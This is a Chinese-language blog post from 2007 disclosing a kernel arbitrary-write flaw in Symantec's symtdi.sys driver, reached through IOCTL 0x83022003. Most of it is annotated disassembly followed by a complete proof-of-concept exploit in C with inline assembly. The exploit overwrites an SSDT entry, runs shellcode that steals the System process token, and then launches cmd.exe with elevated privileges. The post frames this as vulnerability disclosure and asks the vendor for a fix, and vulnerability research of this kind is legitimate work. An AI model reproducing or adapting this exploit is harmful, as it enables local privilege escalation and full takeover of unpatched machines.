受影响系统:
Symantec Norton AntiVirus 2006
Symantec Norton AntiVirus 2005
Symantec Norton Personal Firewall 2006
Symantec Norton Personal Firewall 2005
Symantec Norton AntiSpam 2005
Symantec Client Security 3.1
Symantec Client Security 3.0
Symantec Client Security 2.0
Symantec Client Security
Symantec Internet Security 2006
Symantec Internet Security 2005
Symantec Norton System Works 2006
Symantec Norton System Works 2005
Symantec AntiVirus Corporate Edition 9.x
Symantec AntiVirus Corporate Edition 10.1
Symantec AntiVirus Corporate Edition 10.0

最近通过反汇编分析发现了一个 symantec 的漏洞,这个漏洞是在 symtdi.sys 中存在的,由
于驱动程序中处理 IRP_MJ_DEVICE_CONTROL 例程没有检查用户传入的缓冲区地址的合法性,
造成任意内核地址可写的漏洞,用户可以发送恶意的 DeviceIoControl 的来完全的控制计算
机。

在 symtdi.sys 中,以下代码用来处理IRP_MJ_DEVICE_CONTROL请求

loc_387C0: ; CODE XREF: sub_38736+6C\u0018j
.text:000387C0 cmp dword_4B258, 0
.text:000387C7 jz short loc_387EF
.text:000387C7
.text:000387C9 call KeGetCurrentIrql
.text:000387C9
.text:000387CE and eax, 0FFh
.text:000387D3 test eax, eax
.text:000387D5 jnz short loc_387EF
.text:000387D5
.text:000387D7 call sub_37B5F
.text:000387D7
.text:000387DC test eax, eax
.text:000387DE jz short loc_387EF
.text:000387DE
.text:000387E0 mov dword_4B258, 0
.text:000387EA call sub_37B9A
.text:000387EA
.text:000387EF
.text:000387EF loc_387EF: ; CODE XREF: sub_38736+91\u0018j
.text:000387EF ; sub_38736+9F\u0018j
.text:000387EF ; sub_38736+A8\u0018j
.text:000387EF mov ecx, [ebp+var_20]
.text:000387F2 mov edx, [ecx+0Ch]
.text:000387F5 mov [ebp+var_38], edx
.text:000387F8 mov eax, [ebp+var_38]
.text:000387FB shr eax, 10h
.text:000387FE mov [ebp+var_44], eax
.text:00038801 cmp [ebp+var_44], 8302h
.text:00038808 jnz loc_3983C
.text:00038808
.text:0003880E cmp [ebp+var_38], 83022227h
.text:00038815 jnb short loc_38854
.text:00038815
.text:00038817 cmp dword_4B0DC, 0
.text:0003881E jnz short loc_38842
.text:0003881E
.text:00038820 call ds:KeEnterCriticalRegion
.text:00038826 mov ecx, offset stru_4B060 ; FastMutex
.text:0003882B call ds:ExAcquireFastMutexUnsafe
.text:00038831 mov ecx, offset stru_4B060 ; FastMutex
.text:00038836 call ds:ExReleaseFastMutexUnsafe
.text:0003883C call ds:KeLeaveCriticalRegion
.text:0003883C
.text:00038842
.text:00038842 loc_38842: ; CODE XREF: sub_38736+E8\u0018j
.text:00038842 cmp dword_4B258, 0
.text:00038849 jnz short loc_38854
.text:00038849
.text:0003884B mov ecx, [ebp+var_38]
.text:0003884E push ecx
.text:0003884F call sub_16E17
.text:0003884F
.text:00038854
.text:00038854 loc_38854: ; CODE XREF: sub_38736+DF\u0018j
.text:00038854 ; sub_38736+113\u0018j

以下开始处理 ControlCode,他们基本都被定义为 METHOD_NEITHER 这种方式

.text:00038854 mov edx, [ebp+var_38] ; edx = ControlCode
.text:00038857 mov [ebp+var_F0], edx
.text:0003885D cmp [ebp+var_F0], 830221E7h
.text:00038867 ja loc_38985 ; 如果ConrolCode > 830221E7h 则跳转
.text:00038867
.text:0003886D cmp [ebp+var_F0], 830221E7h
.text:00038877 jz loc_38F5E
.text:00038877
.text:0003887D cmp [ebp+var_F0], 830221BFh
.text:00038887 ja loc_38952
.text:00038887
.text:0003888D cmp [ebp+var_F0], 830221BFh
.text:00038897 jz loc_38C2C
.text:00038897
.text:0003889D cmp [ebp+var_F0], 830221A7h
.text:000388A7 ja short loc_3891F
.text:000388A7
.text:000388A9 cmp [ebp+var_F0], 830221A7h
.text:000388B3 jz loc_38BB0
.text:000388B3
.text:000388B9 cmp [ebp+var_F0], 8302219Ah
.text:000388C3 ja short loc_388FA
.text:000388C3
.text:000388C5 cmp [ebp+var_F0], 8302219Ah
.text:000388CF jz loc_38E15
.text:000388CF
.text:000388D5 cmp [ebp+var_F0], 83022003h
.text:000388DF jz loc_38B49 ; 注意这里
.text:000388DF
.text:000388E5 cmp [ebp+var_F0], 83022196h
.text:000388EF jz loc_38DD5
.text:000388EF
.text:000388F5 jmp loc_392EE

其上的很多控制码都存在问题,当然最好利用的控制码就是 83022003h 了,我们来看看
symtdi.sys 中如何处理 83022003h

loc_38B49: ; CODE XREF: sub_38736+1A9\u0018j
.text:00038B49 mov ecx, [ebp+Irp]
.text:00038B4C mov edx, [ecx+3Ch] ; edx = irp->UserBuffer
.text:00038B4F mov [ebp+var_24], edx
.text:00038B52 mov eax, [ebp+var_20]
.text:00038B55 mov ecx, [eax+4]
.text:00038B58 mov [ebp+var_40], ecx
.text:00038B5B mov edx, [ebp+var_40]
.text:00038B5E push edx
.text:00038B5F mov eax, [ebp+var_24]
.text:00038B62 push eax
.text:00038B63 call sub_3B7B0

sub_3B7B0 proc near ; CODE XREF: sub_38736+42D\u0018p
.text:0003B7B0
.text:0003B7B0 var_4 = dword ptr -4
.text:0003B7B0 arg_0 = dword ptr 8
.text:0003B7B0 arg_4 = dword ptr 0Ch
.text:0003B7B0
.text:0003B7B0 push ebp
.text:0003B7B1 mov ebp, esp
.text:0003B7B3 push ecx
.text:0003B7B4 mov [ebp+var_4], 0
.text:0003B7BB cmp [ebp+arg_0], 0
.text:0003B7BF jz short loc_3B7EB
.text:0003B7BF
.text:0003B7C1 cmp [ebp+arg_4], 9
.text:0003B7C5 jb short loc_3B7EB
.text:0003B7C5
.text:0003B7C7 mov eax, [ebp+arg_0]

; eax = irp->UserBuffer 以前没有对irp->UserBuffer进行任何检查

.text:0003B7CA mov ecx, dword_45544
.text:0003B7D0 mov [eax], ecx

; 以下是对UserBuffer进行写操作,一共写入了9字节,形成了任意内核地址可写的漏洞

.text:0003B7D2 mov edx, dword_45548
.text:0003B7D8 mov [eax+4], edx
.text:0003B7DB mov cl, byte_4554C
.text:0003B7E1 mov [eax+8], cl
.text:0003B7E4 mov [ebp+var_4], 9
.text:0003B7E4
.text:0003B7EB
.text:0003B7EB loc_3B7EB: ; CODE XREF: sub_3B7B0+F\u0018j
.text:0003B7EB ; sub_3B7B0+15\u0018j
.text:0003B7EB mov eax, [ebp+var_4]
.text:0003B7EE mov esp, ebp
.text:0003B7F0 pop ebp
.text:0003B7F1 retn 8
.text:0003B7F1
.text:0003B7F1 sub_3B7B0 endp

看完代码,我们大家已经很清楚地知道了这个漏洞如何利用,我们可以去Hook一个SSDT上的函
数,在我们进行调用被Hook的函数时,有机会让我们的ring0代码得到运行,Hook的函数我依旧
选择 NtVdmControl,虽然这里覆盖了9字节的数据,但是由于NtVdmControl后面的一个函数也
为一个不常用的api,所以我们的exploit可以保证%80以上的有效率,但是一定要在调用ring 0
代码的时候进行一些现场恢复,不然一定会死的比较难看的。

poc代码:

#include <stdio.h>
#include <windows.h>

#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IMAGE_FIXUP_ENTRY {

WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _UNICODE_STRING {

USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;

PVOID ShellCodeMemory = (PVOID)0x2E352E35;
DWORD MemorySize = 0x2000;

PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;

OSVERSIONINFOEX OsVersionInfo;

RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

if ( OsVersionInfo.dwMajorVersion != 5 ) {

printf( "Not NT5 system\n" );
ExitProcess( 0 );
return 0;
}

if ( OsVersionInfo.dwMinorVersion != 2 ) {

printf( "isn't windows 2003 system\n" );
ExitProcess( 0 );
return 0;
}

printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
printf( "Tested on: \n\twindows 2003 sp1 (ntkrnl.pa.exe version) \n\n" );
printf( "\tCoded by shadow3\n\n" );

status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {

printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}

memset( ShellCodeMemory, 0x90, MemorySize );

__asm {

call CopyShellCode

nop
nop
nop
nop
nop
nop

//
// 恢复SSDT保证系统能够正常运行
//
/*
mov edi, 0x80827D54
mov [edi], 0x808C998A
mov [edi+4], 0x809ba123
mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe

mov edi, 0x8083100C
// mov [edi], 0x808C998A
mov [edi+4], 0x809970CC // ntkrnlpa.exe version
mov [edi+8], 0x8092FF3E

mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode)
mov eax,[eax]

mov esi,[eax+0x218]
mov eax,esi

search2k3sp1:

mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // Find System Process
jne search2k3sp1

mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token

ret 8

CopyShellCode:

pop esi
lea ecx, CopyShellCode
sub ecx, esi

mov edi,0x2E352E35
cld
rep movsb

}

deviceHandle = CreateFile("\\\\.\\Symtdi",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {

printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
return 0;
} else {

printf( "Open Symtdi device success\n" );
}

DeviceIoControl( deviceHandle,
0x83022003,
NULL,
0,
(PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,
0xC,
&dwReturnSize,
NULL );

CloseHandle( deviceHandle );

VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {

printf( "VdmControl == NULL\n" );
return 0;
}

printf( "call shellcode ... " );

_asm {

xor ecx,ecx
push ecx
push ecx
mov eax, VdmControl
call eax
}

printf( "Done.\n" );
printf( "Create New Process\n" );

GetStartupInfo( &stStartup );

CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );

return 0;
}

在发现这个漏洞的兴奋之余,我上网搜索了一下 symtdi.sys,发现在今年3月份国外已经有人发
现了这个漏洞,不过报告为拒绝服务,然而厂商估计是因为这个漏洞的安全级别比较低,也没有对这个漏洞进行修补,希望安全厂商能够报着为用户负责的心态尽快修补该漏洞,如果对以上还有什么问题请发送邮件到 Polymorphours@gmail.com联系我,谢谢。
posted on 2007-07-17 08:59  %5C  阅读(667)  评论(1编辑  收藏  举报